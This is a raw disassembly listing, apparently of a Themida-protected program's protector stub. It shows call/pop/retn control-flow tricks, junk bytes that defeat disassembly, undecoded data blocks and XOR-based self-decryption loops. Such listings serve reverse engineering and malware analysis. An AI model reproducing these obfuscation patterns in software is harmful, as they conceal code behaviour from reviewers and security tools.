loc_5D687E:				; CODE XREF: Themida_:005D68F1j
		inc	ebx
		push	ebx
		retn
sub_5D6871	endp

; ---------------------------------------------------------------------------
		db 0DAh, 0FBh, 0B5h
; ---------------------------------------------------------------------------
		add	[ebx], ecx
		popf
		or	eax, 8B07D108h
		test	esi, ebp
		sub	cl, dl
		pop	es
		push	0
		push	ecx
		call	sub_5D689C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D689C	proc near		; CODE XREF: Themida_:005D6894p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5D689C	endp

; ---------------------------------------------------------------------------
		mov	al, ds:2444882Eh
		xor	eax, [ebp+7D131CDh]
		push	0
		push	ebx
		call	sub_5D68C2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D68C2	proc near		; CODE XREF: Themida_:005D68BAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5D68C2	endp

; ---------------------------------------------------------------------------
		adc	al, 0D0h
		cld
		nop
		mov	bx, 3C32h
		push	eax
		call	near ptr loc_5D68F1+1
		inc	eax
		popa
		pop	ss
		inc	edx
		inc	esi
		mov	eax, ds:8153ED86h
		push	ebp
		push	0FFFFFF8Ch
		add	dh, [esi-69h]
		dec	esi


loc_5D68F1:				; CODE XREF: Themida_:005D68DBp
		loope	loc_5D687E
		fcomp	dword ptr [edi-70h]
		push	0
		push	ebx
		call	sub_5D6901
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6901	proc near		; CODE XREF: Themida_:005D68F9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D6901	endp

; ---------------------------------------------------------------------------
		sbb	eax, 4E34D781h
		pop	ebx
		adc	ebp, [edx+0]
		push	0
		push	ebp
		call	sub_5D6925
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6925	proc near		; CODE XREF: Themida_:005D691Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5D6925	endp

; ---------------------------------------------------------------------------
		db 0E8h, 95h, 0A3h
		dd 0EE806E8h, 2000000h,	0C18BA211h, 0FD5F45C5h,	0B6660DF9h
		dd 68F0FBAh, 8B000000h,	0D1254DBDh, 8E95B07h, 99000000h
		dd 0D1212DEEh, 8AAF9E9Ah, 266268D9h, 0BF66DEEEh, 481123Ah
		dd 30DD9D24h, 0B1953121h, 0FF07D126h, 0D12B1595h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BEC0C26h, 0D130A9BDh, 5A858907h, 6A07D4EAh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0E6F1C356h, 11E9h, 8ADC4300h, 373901F1h, 0A97205FEh
		dd 18E57E75h, 5EE99878h, 53000001h, 522DF781h
; ---------------------------------------------------------------------------
		mov	bl, 10h
		pop	edi


loc_5D69EF:				; CODE XREF: Themida_:005D6860j
		mov	eax, [ebp+7D4EA52h]
		push	0
		push	edi
		call	sub_5D6A00
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6A00	proc near		; CODE XREF: Themida_:005D69F8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5D6A00	endp

; ---------------------------------------------------------------------------
		dd 0B46A6D1Eh, 3B69CB23h, 0D78166A4h, 0C7CC7Bh,	18h, 55BD8B60h
		dd 6607D108h, 8B61D68Bh, 0D4EA56B5h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0F6BB3473h
		dd 0A26F932Ch, 3820F09h, 80000000h, 858BD9E3h, 7D10C9Dh
		dd 0BD8B0689h, 7D10289h, 28F5858Bh, 0BB6607D1h,	0BD89BB79h
		dd 7D12385h, 6A044689h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 96CEC352h, 0F50D88Bh
		dd 0B8Ah, 5860F00h, 0BB000000h,	5FA000D0h, 56006A96h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0FF535337h, 0D4EA52B5h, 8D895207h, 7D11999h,	6CDB685Bh
		dd 8B6671EBh, 243481D8h, 71F46F24h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 76C35040h, 37FED928h, 8D0DB02Dh
		dd 0D4EA5A85h, 0CE907h,	5F480000h, 0B9068386h, 62A959EFh
		dd 8A50994Bh, 240489D9h, 9E39D781h, 95FF4AECh, 7D12B15h
		dd 38D0Fh, 0BF0F0000h, 8B6661F8h, 3985C7F8h, 307D11Dh
		dd 66000000h, 835185BFh, 0D4EA5ABDh, 840F0007h,	46h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C9C35646h, 14E808h
		dd 0DE6A0000h, 3FBA4F56h, 0CB7D5B54h, 0BFED3A33h, 1F4BF87Fh
		dd 858995CBh, 7D1257Dh,	1FE95Fh, 0BF660000h
		db 98h,	0F4h
; ---------------------------------------------------------------------------


loc_5D6BAA:				; CODE XREF: Themida_:005D6805j
					; Themida_:005D6BC1j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D6BAA
		jmp	short loc_5D6BFB
; ---------------------------------------------------------------------------


loc_5D6BC5:				; CODE XREF: Themida_:005D67C2j
					; Themida_:005D6BDCj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D6BC5
		jmp	short loc_5D6BFB
; ---------------------------------------------------------------------------


loc_5D6BE0:				; CODE XREF: Themida_:005D67F5j
					; Themida_:005D6BF7j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D6BE0
		jmp	short $+2


loc_5D6BFB:				; CODE XREF: Themida_:005D6BC3j
					; Themida_:005D6BDEj
		mov	eax, eax
		and	edi, 1CBEBF1Ch
		push	0
		push	eax
		call	sub_5D6C0E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6C0E	proc near		; CODE XREF: Themida_:005D6C06p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D6C0E	endp

; ---------------------------------------------------------------------------
		dw 363Dh
; ---------------------------------------------------------------------------
		mov	al, 7Ch
		mov	dl, [ecx-175455Ch]
		cmp	dword ptr [ebp+7D11D39h], 3
		jnz	loc_5D6FF2
		jmp	loc_5D6C4B
; ---------------------------------------------------------------------------
		icebp
		retn
; ---------------------------------------------------------------------------
		dd 0F8D29130h, 89A73A4h, 76C219E1h
		db 57h,	29h, 57h
; ---------------------------------------------------------------------------


loc_5D6C4B:				; CODE XREF: Themida_:005D6C35j
		cmp	dword ptr [ebp+7D4EA5Ah], 0
		jz	loc_5D6FF2
		xor	ebx, [ebp+7D1213Dh]
		push	dword ptr [ebp+7D4EA5Ah]
		call	dword ptr [ebp+7D12EB1h]
		mov	bh, 0EFh
		mov	esi, [ebp+7D4EA4Eh]
		push	0
		push	edi
		call	sub_5D6C7D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6C7D	proc near		; CODE XREF: Themida_:005D6C75p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5D6C7D	endp

; ---------------------------------------------------------------------------
		db 0F8h, 6Dh, 50h
; ---------------------------------------------------------------------------
		jnp	loc_5D6C9C
		xor	[ebp+7D1280Dh],	ebx


loc_5D6C9C:				; CODE XREF: Themida_:005D6C90j
		pop	edi
		mov	dword ptr [esi], 10001h
		jmp	loc_5D6CAE
; ---------------------------------------------------------------------------
		dd 4AE8B7ACh
		db 0FEh, 0A2h
; ---------------------------------------------------------------------------


loc_5D6CAE:				; CODE XREF: Themida_:005D6CA3j
		xchg	eax, esi
		mov	edi, ebx
		push	eax
		mov	bx, cx
		xchg	eax, esi
		push	0
		push	edx
		call	sub_5D6CC1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6CC1	proc near		; CODE XREF: Themida_:005D6CB9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5D6CC1	endp

; ---------------------------------------------------------------------------
		cmp	[eax+4D7B182Eh], dh
		and	bh, 0F6h
		push	dword ptr [ebp+7D4EA5Ah]
		ja	loc_5D6CEC
		mov	ebx, [ebp+7D130A9h]


loc_5D6CEC:				; CODE XREF: Themida_:005D6CE0j
		call	dword ptr [ebp+7D131A5h]
		mov	[ebp+7D1162Dh],	ebx
		mov	esi, [ebp+7D4EA4Eh]
		push	0
		push	eax
		call	sub_5D6D09
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6D09	proc near		; CODE XREF: Themida_:005D6D01p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5D6D09	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_5D6D72
		xor	[ebp+7D126D5h],	ebx
		pop	edi
		mov	eax, [ebp+7D12B31h]
		push	0
		push	esi
		call	sub_5D6D33
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6D33	proc near		; CODE XREF: Themida_:005D6D2Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5D6D33	endp

; ---------------------------------------------------------------------------
		db 5
		dd 7E3C7D92h, 0E41B04EEh, 0C48689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0DE8E25C3h
; ---------------------------------------------------------------------------
		adc	bh, [ecx]


loc_5D6D72:				; CODE XREF: Themida_:005D6D19j
		jmp	loc_5D6D7C
; ---------------------------------------------------------------------------
		db 7Dh
		dd 7003D762h
; ---------------------------------------------------------------------------


loc_5D6D7C:				; CODE XREF: Themida_:loc_5D6D72j
		add	bx, 0A473h
		mov	edx, [ebp+7D11B51h]
		push	0
		push	edx
		call	sub_5D6D92
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6D92	proc near		; CODE XREF: Themida_:005D6D8Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5D6D92	endp

; ---------------------------------------------------------------------------
		cmp	al, 0A0h
		and	ebx, [ebp+7D121D1h]
		add	edx, 4
		push	0
		push	ebp
		call	sub_5D6DB8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6DB8	proc near		; CODE XREF: Themida_:005D6DB0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5D6DB8	endp

; ---------------------------------------------------------------------------
		mov	[ecx-54h], bl
		dec	edi
		xor	ch, cl
		add	ebp, edi
		mov	edi, [ebp+7D122F5h]
		mov	[eax+20h], edx
		add	[ebp+7D126B5h],	ecx
		lea	eax, [ebp+7D4FEE5h]
		add	[ebp+7D12F09h],	eax
		mov	[esi+0B8h], eax
		sub	edi, 13FFF954h
		push	0
		jns	loc_5D6E04
		mov	edi, 609B415Fh


loc_5D6E04:				; CODE XREF: Themida_:005D6DF9j
		push	dword ptr [ebp+7D4EA5Ah]
		push	0
		push	eax
		call	sub_5D6E15
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6E15	proc near		; CODE XREF: Themida_:005D6E0Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5D6E15	endp

; ---------------------------------------------------------------------------
		db 1, 0FFh, 95h
		dd 7D11DE9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	87C35343h, 1D9D8BC3h, 9607D120h, 28A0Fh, 5B570000h
		dd 0FE950h, 0B3600000h,	1730190Fh, 0FAB2D70Bh, 8843089Ch
		dd 6A9643h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0F3E4BFC3h, 0FE81EA8h, 10000000h,	765AA1D2h
		dd 8BEB72DFh, 0A5EB1428h, 0FF5F559Bh, 0D4EA5AB5h, 119D2907h
		dd 0FF07D11Fh, 0D12D9D95h, 0DFB70F07h, 2809BD83h, 0F0007D1h
		dd 5B84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 71BA815Eh, 5E8A2E7h, 0B1000000h
		dd 0F11D5C36h, 0AE9h, 0D96D8700h, 1C06EC09h, 5B3C7425h
		dd 13870Fh, 0E9520000h,	0Ch, 0E5533126h, 0E24B7DDBh, 0B9AC8374h
		dd 0DAB7505Fh, 0F5243489h, 0EA5AB5FFh, 6A07D4h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 8CF8EAC3h, 89F551A8h, 0D10C75B5h, 0B595FF07h, 6A07D132h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 83BC351h,	1DF81138h, 6820Fh, 9D030000h, 7D1057Dh
		dd 3255BD8Bh, 0B5FF07D1h, 7D4EA5Ah, 18C19D8Bh, 95FF07D1h
		dd 7D12709h, 0BD83FB8Bh, 7D10FC1h, 41840F02h, 0F000000h
		dd 185h, 858BF900h, 7D11E25h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 3FC35141h, 36F466EBh, 355B8CD9h
		dd 0C69Fh, 33719D8Bh, 0BD3307D1h, 7D11755h, 22CD85C7h
		dd 7D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D6FF2:				; CODE XREF: Themida_:005D6C2Fj
					; Themida_:005D6C52j
		jmp	near ptr dword_5D5C30+7D3h
; ---------------------------------------------------------------------------
		mov	[ebp+7D11D61h],	edi
		mov	eax, ecx
		mov	ebx, 2AC55D0Fh
		lea	eax, [ebp+7D11361h]
		push	0
		push	eax
		call	sub_5D7015
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7015	proc near		; CODE XREF: Themida_:005D700Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5D7015	endp

; ---------------------------------------------------------------------------
		db 78h,	0E9h, 34h
; ---------------------------------------------------------------------------
		imul	ebx, [esi-3Bh],	0BD8BDA8Bh
		inc	ecx
		pop	es
		rol	dword ptr [edi], 1
		push	eax
		jle	loc_5D703E
		mov	di, 0F0AAh


loc_5D703E:				; CODE XREF: Themida_:005D7034j
		mov	[esp], eax
		push	0
		push	ebx
		call	sub_5D704C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D704C	proc near		; CODE XREF: Themida_:005D7044p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5D704C	endp

; ---------------------------------------------------------------------------
		dd 0F206EA6Eh, 0D1B589DBh, 6A07D129h, 3D8D8900h, 8907D134h
		dd 0D11EF9B5h, 8D006A07h, 0D60BDA85h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 6E5C3904h, 57BBAE24h, 28619D33h, 8B5B07D1h, 0D11065BDh
		dd 2CE78107h, 83375FF1h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 43D599C3h, 0BD315247h
		dd 7D10229h, 0DF8B6650h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 6A3FC355h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0AEE30CCBh, 80006A78h, 95FF70D7h, 7D11DE1h
		dd 699D8B51h, 5F07D102h, 0FE8h,	7243AA00h, 2721AB47h, 3B5EA79Ch
		dd 0ECE32A33h, 830F60h,	0F000000h, 8Ah,	8D5F6100h, 0D4D5668Dh
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 14E9A1C1h, 6F000000h, 0FD345D2Eh, 0A83BBDB0h
		dd 6D31D76h, 8A46DD89h,	3159EA83h, 0D1315585h, 6AD1FF07h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0F0F9C357h, 52AE580h, 834B6CE6h, 0D11715BDh
		dd 850F0107h, 4Ch, 23299D8Bh, 26A07D1h,	6820Fh,	0BD890000h
		dd 7D125DDh, 0BE950h, 44210000h, 0A7BFE5AFh, 0EA18C70Bh
		dd 24048980h, 7EF78166h, 0E995FFA8h, 0E907D11Dh, 14h, 8390887Ah
		dd 0BD750EA8h, 82561B6Eh, 0BC1CEF36h, 0E37FF0DEh, 0DC7E9h
		dd 0E800h, 815D0000h, 0D60BE4EDh, 0B2BB6607h, 0DE94Ah
		dd 0ABC0000h, 5F85E282h, 2A268E3Dh, 8D94C1D8h, 0D4BC7785h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0EE8FAh,	0A3260000h, 0BE740B3h, 9E363387h
		dd 816AC853h, 0E288BB66h, 800F505Bh, 3,	89DA8B66h, 8B572404h
		dd 0D1296DBDh, 0FF645F07h, 35h,	25896400h, 0
; ---------------------------------------------------------------------------
		jnz	loc_5D72A8
		sub	[ebp+7D13391h],	edi


loc_5D72A8:				; CODE XREF: Themida_:005D729Cj
		sbb	edi, 18A57EDDh
		inc	dword ptr [ebp+7D12921h]
		jmp	loc_5D72C9
; ---------------------------------------------------------------------------
		db 6Ch,	2Eh, 0DCh
		dd 1021CA87h, 0BA936933h, 18FB1F3Bh
		db 0BEh
; ---------------------------------------------------------------------------


loc_5D72C9:				; CODE XREF: Themida_:005D72B4j
		mov	[ebp+7D11DEDh],	esi
		push	0FFFFFFFFh
		push	0
		push	ebx
		call	sub_5D72DC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D72DC	proc near		; CODE XREF: Themida_:005D72D4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5D72DC	endp

; ---------------------------------------------------------------------------
		dd 54C3B56Dh, 58DF9CBFh, 13840Fh, 7E80000h, 0E1000000h
		dd 384C4173h, 0B52906C5h, 7D12FA9h, 8DB5FF5Bh, 6A07D106h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 56C6C350h, 603A8F47h, 26ED8589h, 6E807D1h
		dd 88000000h, 856AA4C1h, 5EEFB517h, 0FA8B6661h,	141D95FFh
		dd 16E907D1h, 89000001h, 0D10F098Dh, 8900B007h,	0D12DC585h
		dd 0E470E607h, 0BB665371h, 3C5B0C3Eh, 0F6830F61h, 0F000000h
		dd 0B60FDBBFh, 0DE8B66C8h, 6BAh, 8BF88B00h, 14E8C1h, 0EFBA0000h
		dd 2D001110h, 0CA3EA813h, 0D6BC5402h, 6BFB707Ch, 9D8B362Ch
		dd 7D13181h, 8A0F605Bh,	6, 1F7DBD89h, 0BF0F07D1h, 0E8C161FEh
		dd 4BDB8104h, 6640805Fh, 8D0FE2F7h, 3, 2BFEBF0Fh, 8BF88BC8h
		dd 0A9BD8BD1h, 0E907D132h, 8Dh,	0D6B70F60h, 73D8D89h, 8B6107D1h
		dd 185h, 58E0F00h, 0BF000000h, 49F9A1A7h, 1115BD8Bh, 0C08307D1h
		dd 859D8B07h, 8B07D123h, 0C083F9h, 0B553EB81h, 0D03B0EE2h
		dd 11830Fh, 8D890000h, 7D11F79h, 44E9h,	65953100h, 8B07D119h
		dd 0FFFFFF8Dh, 0D98B57FFh, 1E1835Fh, 2B840Fh, 0A5830000h
		dd 0FFFFFFFFh, 0FEBF0FFEh, 19589h, 11E90000h, 0E5000000h
		dd 49FB9E8Eh, 168276C7h, 832FA93Ch, 648F1139h, 0E9h, 0DAB58D00h
		dd 0F07D58Ch, 88Dh, 9D0B5200h, 7D10199h, 0FF006A5Fh, 0D1005595h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0ABB7E5F7h, 0F5FB931h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 992A81C3h, 8544C777h, 4D03DDBBh, 0FCE18347h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 88C35545h, 399D891Fh
		dd 0F07D132h, 0F83h, 0AE900h, 7FE90000h, 0D36B60E2h, 8A9059D4h
		dd 18529FCh, 0B807D110h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5D7527
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7527	proc near		; CODE XREF: Themida_:005D751Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5D7527	endp

; ---------------------------------------------------------------------------
		db 83h
; ---------------------------------------------------------------------------
		mov	ds:313B8D55h, al
		mov	ebp, 7D101EDh
		mov	di, 0E8A8h
		sub	edx, edx
		jmp	loc_5D755E
; ---------------------------------------------------------------------------
		or	al, 2
		mul	byte ptr [ebp+7F3D1F8h]
		cmp	eax, 0A9A7CDA6h
		push	eax
		push	edx
		xor	edx, [ebx]


loc_5D755E:				; CODE XREF: Themida_:005D7548j
		mov	di, si


loc_5D7561:				; CODE XREF: Themida_:005D756Bj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D7561
		push	0
		push	edx
		call	sub_5D7578
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7578	proc near		; CODE XREF: Themida_:005D7570p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5D7578	endp

; ---------------------------------------------------------------------------
		dd 8E659A2h, 0F9B3EA7Dh, 0BB66E3ABh, 6A9CCCh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 4FF319C3h
		dd 0FC59D2Bh, 880D07D1h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F9AAC356h
		dd 8937ABBFh, 51958B69h, 8907D11Bh, 0D133159Dh,	558D8B07h
		dd 8907D12Dh, 0D130A9BDh, 0C28B5007h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 6A8CC350h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0A974C357h, 0F58B337h, 287h,	83F88B00h, 0D11BC5BDh
		dd 840F0007h, 2Eh, 0AE9h, 0A7BE8E00h, 8CCD1DC0h, 0B8AF92EFh
		dd 0
		dd 4D0A8D8Dh, 6E807D1h,	3F000000h, 3BB0FE5h, 0E1FF5F74h
		dd 32698D89h, 0BD8307D1h, 7D11D39h, 4C840F00h, 31000004h
		dd 0D1207995h, 85950107h, 8307D119h, 0D11D39BDh, 840F0107h
		dd 44Eh, 8E8h, 9F51B00h, 0A22EDA90h, 0BA6660D2h, 5F612248h
		dd 1D39BD83h, 0F0307D1h, 3F786h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0C3EE777Ah
		dd 0B5BD33C7h, 0BB07D110h, 1CE05BC1h, 57006A60h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8C66B1B5h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 4E18085h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0F7C35242h,	0BD0B8817h, 7D113BDh
		dd 6839E381h, 0C90A7682h, 126840Fh, 0B70F0000h,	0F5858BDFh
		dd 6A07D128h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 97ADC356h, 0E9B35EAFh,	6, 0DBE6EACEh
		dd 85330FE4h, 7D131CDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 7C35747h, 7FBF662Fh, 14E85035h, 0FE000000h
		dd 1664BE4Dh, 3971145Eh, 0F268B847h, 0FFD0A33Dh, 0BFB5A850h
		dd 504B3CB0h, 2404895Fh, 0B568006Ah, 66AB725Eh,	812BC7BFh
		dd 0A54A2404h, 6A54ACh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 4D3DBC3h, 0E873F2EEh, 14h, 3FDAA33Fh
		dd 0F4EC9734h, 0F071AD74h, 1C9B6688h, 1C3B41A8h, 11E9h
		dd 7D6EA700h, 80F33C60h, 0F49D38Eh, 80CE475Fh, 0FF5B2D13h
		dd 0D12B1595h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 96EDDBB5h, 0FDFBF0Fh
		dd 68Fh, 45852900h, 8907D108h, 0D4EA5A85h, 1ADE907h, 9D290000h
		dd 7D117B1h, 0EA52858Bh, 6A07D4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 65967FC3h, 0A6F1E93Fh
		dd 0DA78BF49h, 0C73D31h, 18h, 31B19D2Bh, 0B58B07D1h, 7D4EA56h
		dd 33299509h, 858B07D1h, 7D10C9Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 57C35242h, 894830A4h, 0CB816606h
		dd 800FEDAFh, 6, 0CC3CD381h, 858B0254h,	7D128F5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 38C35747h, 89E3516Ah
		dd 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 78B4A9C3h, 19A60174h, 0E5BD8B09h,	9607D130h
		dd 0D37466BFh, 850F502Dh, 2, 6A96FE8Bh,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 904EC351h
		dd 6FE43BA9h, 52B5FF2Dh, 6A07D4EAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9E48C352h
		dd 0F3EF68Dh, 2568DAB7h, 0FFCDEC6h, 80h, 24048100h, 3403DDAh
		dd 33EDBD8Bh, 858D07D1h, 7D4EA5Ah, 89F9B70Fh, 0D118B98Dh
		dd 8B669007h, 525050DFh, 1E62BF66h, 8B66310Fh, 90585AFAh
		dd 2C059D33h, 9D8B07D1h, 7D131A9h, 2B1595FFh, 6A07D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 405F32C3h, 7753DBD3h, 8C0F90D1h, 2, 0F50F88Bh, 615FD9BFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D3C35646h
		dd 0FAD9032h, 0C8Eh, 7E900h, 0E8B00000h, 7CDE908Dh, 3985C738h
		dd 307D11Dh, 89000000h,	0D1298985h, 5ABD8307h, 7D4EAh
		dd 3E840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 66FFC1C3h, 34E9D98Bh, 0F000000h
		dd 138Dh, 0EE900h, 0CC1D0000h, 7C3C9B46h, 0AD605496h, 84E62DA5h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 81C08B00h
		dd 67F301DBh, 0AE95Fh, 0DE410000h, 8C545263h, 0A3E72844h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E7C35747h
